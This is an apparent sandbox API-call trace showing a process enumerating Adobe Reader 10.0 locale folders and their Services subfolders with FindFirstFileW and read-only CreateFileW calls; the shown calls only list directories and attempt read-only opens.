	[0054.029] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.045] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.045] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.052] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.063] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.080] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.086] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.086] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.094] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.097] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.106] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.110] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.116] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.119] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.128] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.128] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.131] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.137] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.140] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.149] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.152] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.159] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.161] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.161] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.169] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.169] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.171] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.171] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.182] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.182] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.186] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.196] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
